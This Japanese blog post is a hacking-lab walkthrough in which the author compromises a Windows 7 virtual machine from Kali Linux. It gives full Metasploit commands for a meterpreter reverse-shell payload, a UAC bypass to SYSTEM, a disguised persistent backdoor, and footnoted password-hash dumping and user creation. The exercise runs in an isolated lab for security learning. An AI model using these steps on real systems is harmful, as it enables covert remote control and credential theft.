それでは毛玉諸君、これにて失敬

日々の精進を備忘録的に綴ります。

ハッキング・ラボの作り方 win7ハッキング編

プッシュアップバーを買って腕立て伏せが捗っているko_ya346です。
胸筋がむくむく育っているのを感じて楽しいです。

Amazon | Reodoeer プッシュアップバー 腕立て伏せ 筋肉トレーニング (オレンジ) | Reodoeer | プッシュアップバー

前回は攻撃端末であるkali linuxの環境が整ったので、いよいよハッキングしていきます!!
参考書は前回同様こちら

↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓
Amazon.co.jp: ハッキング・ラボのつくりかた 仮想環境におけるハッカー体験学習 eBook : IPUSIRON: 本

ターゲット端末を用意

こちらのサイトからwindow7の仮想マシンをダウンロードします。
今回のターゲットはwindows7なので画像のように選択し、ダウンロードしました。
f:id:ko_ya346:20211031213223p:plain

解凍後、ovaファイルをVirtualBoxにインポート、ホストオンリーアダプターの設定を行ったら起動します。

いよいよハッキング

今回の目的はwindows7に侵入し、永続的バックドアを設置することです。
これが成功すると、ターゲット端末の電源が起動していればいつでも遠隔操作することが可能になります。
この攻撃を受けた端末は踏み台として使用され、新たなターゲットへの攻撃に使われるそうです。恐ろしい。。。

今回はMetasploit Framework(通称Metasploit)を使用します。このツールはハッキングに関連した調査、侵入、攻撃、バックドアの設置・接続というサーバー侵入の一連の攻撃をサポートしています。
手順としては、

  1. (kali linuxペイロード*1を作成
  2. (kali linuxペイロードを外部からアクセスできるようにする
  3. win7ペイロードを踏む -> kali linuxから遠隔操作が可能になる
  4. (kali linux) 永続的なバックドア*2を設置

です。早速やっていきましょう。

ペイロード作成

metasploitを起動します。

# msf6
msfconsole

f:id:ko_ya346:20211031221205p:plain
Happy Halloween

余談ですがこのツール、AAがほかにも種類があって、

# msf6
banner

を実行するとほかのAAも見ることができます。ちょっと楽しい

f:id:ko_ya346:20211031221840p:plain
かわいいおばけ

さて、次に今回のターゲットに使用するモジュールを検索します。
今回は - Windows向け - TCP型のリバースシェル*3 - ペイロード の条件で出てきたモジュールを使用します。

# msf6
search type:payload reverse_tcp platform:windows

実行すると70件くらい表示されます。今回はpayload/windows/meterpreter/reverse_tcpを使用します。

続いてevil.exeというペイロードを作成していきます。
msfvenomというコマンドを用います。保存先はどこでも大丈夫です。

# msf6
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.2 -f exe -o /home/kali/Desktop/evil.exe

LHOSTはこのペイロードが実行されたときのアクセス先を指定します。
今回はkali(10.0.0.2)を指定します。

ペイロードを外部からアクセスできるようにする

別のターミナルを起動し、evil.exeをwebサーバーで公開します。

# kali linuxターミナル
sudo su
cd /var/www/html
mkdir share
cp /home/kali/Desktop/evil.exe share
chmod -R 755 share
cd share
service apache2 restart

ペイロードを踏む

win7の仮想環境にてブラウザを起動し、http://10.0.0.2/shareにアクセスします。
ここまでの準備が成功していればevil.exeが見えるはずです。

f:id:ko_ya346:20211031224500p:plain
悪意しか感じられない実行ファイルが!!!!!

evil.exeをクリックし、実行すると攻撃が開始されますが、一旦kali環境に戻り、待ち伏せの準備をします。
windowsにはvista以降、UAC機能*4があるため、SYSTEM権限に昇格することができません。
そこで、一度リバースシェルで接続した後に、管理者権限をバイパスするモジュールを使用してSYSTEM権限に昇格していきます。

まずは攻撃端末側でリバースシェルからの接続を待機状態にするところまで準備します。

# msf6
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp

# 攻撃端末kali linuxのipアドレス
set LHOST 10.0.0.2

# 設定オプション確認
show options
exploit

# 待機状態になる

続いてターゲット端末のwin7仮想環境に移動し、先ほど見えたevil.exeを実行します。

f:id:ko_ya346:20211031232409p:plain
Runをポチ

するとkali linuxで先ほど待機状態にしたターミナルを見ると、セッションが確立し、meterpreterというプロンプトが表示されました。

f:id:ko_ya346:20211031232654p:plain
接続完了

ターゲット端末のコマンドプロンプト(win + rを押し、cmdと入力して実行)で

# win7
netstat -n | find "ESTABLISHED"

と実行すると、攻撃端末のipで接続されていることがわかります。

f:id:ko_ya346:20211031233712p:plain
ESTABLISHED!!!

ちなみにこの状態ではUAC機能が生きているので、SYSTEM権限に昇格するコマンド

# meterpreter
getsystem

を実行してもpermission errorが発生します。
なので一旦

# meterpreter
background

を実行してmsf6プロンプトに戻ります。

# msf6
sessions -i <セッションID>

で再びmeterpreterプロンプトに入ることが出来ます。

続いてUAC権限をパスするためのモジュールを用意し、先ほどのセッションを通じてexploitを送り込みます。

# msf6
use exploit/windows/local/bypassuac

# 確立済みセッション指定
set SESSION {sessionID}
set payload windows/meterpreter/reverse_tcp
set LHOST 10.0.0.2
exploit
# meterpreter
getsystem

画像のように権限昇格されれば大成功です。

f:id:ko_ya346:20211101092439p:plain
SYSTEM権限ゲットだぜ

ちなみにここまでの操作を行っても、攻撃端末の画面にはほとんど変化がありません。
非常に恐ろしいですね。。。
SYSTEM権限があれば、パスワードハッシュをダンプ*5したり勝手にユーザーを追加*6したり好き放題できます。

永続的バックドアを設置

今回はターゲット端末でevil.exeをうっかり踏んでくれたおかげでセッションが確立されましたが、
再起動すれば切断されてしまいます。
再度うっかり踏んでくれるかもしれませんが、望みは薄そうなので
セッションが残っているうちにwin7起動時に自動でペイロードを実行するように設定しておきましょう。

ここではpersistenceというモジュールを使用して設置を行います。
先ほどのSYSTEM権限を持つセッションを利用していきます。

# msf6
use exploit/windows/local/persistence

# exe nameには好きな名前をいれる
# ばれにくいように、session1とします
# set EXE_NAME {exe name}
set EXE_NAME service1

# SYSTEM権限を持つセッション
set SESSION {session id}

# webページに公開しているペイロードのパス
set EXE::Custom /home/kali/Desktop/evil.exe

run

実行後、win7を再起動します。
起動したらタスクマネージャーを開くと、、、

f:id:ko_ya346:20211101114620p:plain
service1.exeが実行されている!!

永続的バックドアがうまく起動しています。
そして、先ほど同様に接続を待機してみると

# msf6
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.0.0.2
exploit

f:id:ko_ya346:20211101114808p:plain
繋がった!

見事接続できました。
これでいつでも、win7に侵入することが出来ました。

終わりに

今回はwin7のハッキングに挑戦しました。
接続 -> バックドア設置まで非常に簡単な手順で完了することが出来ました。
今回はターゲット端末で実行ファイルの起動がトリガーになっているので、怪しいファイルには触らないほうがよさそうですね。。。

また、同様の手順でもwin10のハッキングも可能ですが、こちらは非常にセキュリティが堅牢なため、容易にハッキングすることはできません。
今回使用したevil.exeをwin10で実行しようとしても、まずセキュリティソフトがブロックしてしまいます。ホッ

攻撃側を経験することで、セキュリティ意識が高まった気がしたので個人的にやってよかったなと思いました。

*1:悪意のある動作をする実行コード

*2:利用者が入る正規の入り口とは別に、秘密裏に作られる「勝手口」のことで、IDやパスワードがなくても、ログインが可能になりますhttps://www.amiya.co.jp/column/backdoor_20200604.html#:~:text=%E3%83%90%E3%83%83%E3%82%AF%E3%83%89%E3%82%A2%E3%81%A8%E3%81%AF%E3%80%81%E5%88%A9%E7%94%A8,%E3%81%AA%E3%81%A3%E3%81%A6%E3%81%97%E3%81%BE%E3%81%86%E3%81%93%E3%81%A8%E3%82%82%E3%80%82

*3:ターゲット端末から攻撃端末にアクセスすること。アウトバウンドに対してはブロックが緩いことが多い

*4:ユーザーアカウント制御(User Account Control。ウイルスや不正な操作、操作ミスなどによって、管理者権限が必要となる操作(システム設定の変更やプログラムのインストールなど)が自動的に実行されてしまうのを防ぐための機能https://atmarkit.itmedia.co.jp/ait/articles/0703/09/news127.html

*5:run hashdump

*6:shellでコマンドプロンプトに移動したあとにnet user {user name} /add